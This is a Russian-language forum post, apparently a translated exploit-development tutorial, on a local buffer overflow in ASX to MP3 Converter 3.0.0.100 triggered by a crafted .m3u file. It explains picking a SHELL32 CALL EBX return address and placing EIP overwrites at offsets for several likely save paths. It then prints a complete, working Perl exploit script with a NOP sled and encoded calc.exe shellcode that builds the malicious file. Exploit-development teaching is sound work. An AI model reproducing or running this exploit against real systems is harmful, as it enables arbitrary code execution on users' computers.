Ниже приведен скриншот начала результирующего файла find.txt. Он показывает все модули, в которых была найдена инструкция "call ebx", а также атрибуты, связанные с каждым из этих модулей, включая информацию о том, реализуют ли они перебазирование (обратите внимание на столбец "rebase"). Пока не беспокойтесь о других столбцах. Я выделил значение атрибута rebase для всех модулей приложения.

4.png


Обратите внимание, что в этом столбце есть два значения со значением "False" (выделено оранжевым цветом). К сожалению, все адреса инструкции "call ebx" в обоих этих модулях содержат нулевые байты, что, как вы помните из части 2, создает свой собственный набор проблем. Похоже, у нас нет выбора, кроме как использовать системный модуль. Я бы выбрал один из более крупных dll, таких как shell32, user32, kernel32 или ntdll, поскольку они могут с меньшей вероятностью меняться между пакетами обновлений ОС. Прокрутите дальше в файле find.txt, чтобы увидеть фактические найденные адреса "call ebx". Я выберу первый указанный адрес shell32 (0x7c9f38f6).


5.png


Теперь я обновлю скрипт эксплоита новым адресом инструкции CALL EBX от SHELL32 (обратите внимание на уже обновленное смещение EIP), создам файл m3u и запустим его с рабочего стола.

6.png


Успешно !!

7.png


Обновление эксплоита для поддержки нескольких смещений

Итак, мы решили проблему перебазирования адресов, выбрав модуль ОС и проверив, что смещение можно предсказать по длине результирующего размера пути файла эксплоита m3u. Следующим шагом является включение нескольких смещений в наш код эксплоита, чтобы повысить вероятность его успешного выполнения из разных мест. Мы могли бы сделать это, просто включив ненужную часть нашего буфера в шаблон повторяющихся смещений (вместо использования A используйте EIP+EIP+EIP и так далее). Несмотря на то, что это увеличивает вероятность успешного использования, это довольно интересный случай, поскольку общие места хранения (Рабочий стол, Мои документы и так далее) могут совпадать или не совпадать с этим шаблоном. Вместо этого мы могли бы сгенерировать список вероятных мест сохранения и разместить стратегическое смещение в нашем буфере. Мы могли бы сделать это вручную, посчитав длину каждого потенциального пути к файлу и создав смещение для каждого местоположения следующим образом:

8.png


Технически это сделало бы работу, и в конце мы остались бы с буфером, который выглядит следующим образом:

JUNK (A’s) + EIP + JUNK (A’s) + EIP + JUNK (As) + EIP … + NOPS + SHELLCODE + FILL

Конечно, это не очень эффективное кодирование и делает сложным добавление и удаление путей, поэтому давайте используем возможности сценариев, чтобы сделать его немного легче в управлении.

Во-первых, мы создадим массив вероятных путей. Я создал один с несколькими возможными путями, хотя есть и другие:

9.png


Я также включил рассчитанные вручную смещения (в качестве комментариев) для иллюстративных целей, хотя, создавая сценарии создания смещений, нам не нужно будет делать это для каждого пути к файлу. Затем мы создаем цикл и динамически собираем часть нашего буфера junk + eip, используя содержимое нашего массива.

10.png


Как вы можете видеть выше, мы просто перебираем массив и используем длину каждого пути к файлу (за вычетом C:\) для стратегического размещения наших смещений.

Наш последний эксплоит выглядит так:


Python:
#!/usr/bin/perl
 
######################################################################
# Exploit Title: ASX to MP3 Converter 3.0.0.100 (.m3u) - Local BOF
# Date: 11-16-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ASX to MP3 Converter 3.0.0.100
# Software: http://www.mini-stream.net/asx-to-mp3-converter/download/
# Tested On: Windows XP SP3
# Credits: Older versions found to be vulnerable to similar bof
# -- http://www.exploit-db.com/exploits/8629/
######################################################################
 
my $buffsize = 50000; # sets buffer size for consistent sized payload
 
# the application incorporates the path of the m3u file in the buffer
# this can hinder successful execution by changing the offset to eip
# to make this more reliable, we'll create a buffer w/ several offsets
# to potential file locations (desktop, my music, my playlists, etc)
# if the m3u file is placed in any of these locations it should work
 
# if the m3u file is saved in root dir (c:\, z:\, etc) eip offset = 26121
# we can use that value to calculate other relative offsets based on file path length
 
my @offsets = ( 'C:\Documents and Settings\Administrator\My Documents\My Music\My Playlists\\', # offset at 26049
 'C:\Documents and Settings\All Users\Documents\My Music\My Playlists\\', # offset at 26056
 'C:\Documents and Settings\Administrator\My Documents\My Music\\', # offset at 26062
 'C:\Documents and Settings\All Users\Documents\My Music\\', # offset at 26069
 'C:\Documents and Settings\Administrator\Desktop\\', # offset at 26076
 'C:\Documents and Settings\All Users\Desktop\\', # offset at 26080
 'C:\\'); # offset at 26121
 
my $eip = pack('V', 0x7c9f38f6); # call ebp C:\Windows\System32\SHELL32.dll
 
$i = 0;
foreach (@offsets) {
   $curr_offset = 26121 - (length($_)) + 3; # +3 for shared "c:\"
   $prev_offset = 26121 - (length($offsets[$i-1])) + 3;
 
   if ($i eq 0){   
      # if it's the first offset build the junk buffer from 0
      $junk = "\x41" x $curr_offset;
      # append the eip overwrite to the first offset
      $offset = $junk.$eip 
   } else {
      # build a junk buffer relative to the last offset
      $junk = "\x41" x (($curr_offset - $prev_offset) - 4);
      # append new junk buffer + eip to the previously constructed offset
      $offset = $offset.$junk.$eip;
   }
 
   $i = $i + 1; # increment index counter
 
}
 
my $nops = "\x90" x 21400; # offset to shellcode at call ebp
 
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";
 
my $sploit = $offset.$nops.$shell;
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder
my $buffer = $sploit.$fill; # build final buffer
 
# write the exploit buffer to file
my $file = "asx2mp3.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n";

Если вы хотите визуализировать, как выглядит буфер, откройте полученный файл m3u в текстовом редакторе, и вы должны увидеть смещения следующим образом:

11.png


Даже этот обновленный эксплоит не идеален из-за того, что мы используем OS DLL для перезаписи регистра EIP и ограниченного количества мест триггеров эксплоитов, но это, безусловно, улучшение по сравнению с нашей первоначальной версией из части 2.

Я должен отметить, что в дополнение к изменению смещений, на которые влияют пути к файлам, весьма часто можно встретить эксплоит с несколькими смещениями, определяемыми тем, как он запускается. Возьмем, к примеру, недавно опубликованный эксплоит для RealPlayer 16.0.3.51/16.0.2.32, который включает в себя два смещения/перезапись регистра EIP - один для прямого запуска файла эксплоита .rmp, а второй - для его открытия из приложения. Если сам код эксплоита выглядит немного по-другому, то это потому, что это переполнение буфера на основе SEH - тема, к которой мы вернемся в нескольких постах. На данный момент, если вы решите использовать эксплоит на тестовом компьютере, вам может потребоваться внести некоторые изменения в зависимости от вашей ОС. Если вы используете Windows XP с пакетом обновления 3 (SP3), вам может потребоваться отрегулировать смещение $junk2 на единицу до 10515, и в зависимости от того, какая у вас версия RealPlayer, вам может потребоваться переключить значения SEH.

Хотя это были всего лишь несколько примеров локально выполненных эксплоитов с изменяющимися/множественными смещениями, они должны дать некоторое представление о том, как эта проблема может проявиться при создании эксплоитов и как вы могли бы ее решить.

Вывод

За последние два поста мы создали очень простой эксплоит, основанный на переполнении буфера, и преодолели некоторые незначительные сложности, связанные с изменением смещений EIP под влиянием пути к файлу эксплоита и изменением адресации модуля, вызванной перезаписанной DLL-программой приложения. В следующем посте мы рассмотрим, как использовать код перехода в ситуациях, когда вы не можете использовать простую инструкцию CALL / JMP для получения своего шелл-кода.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх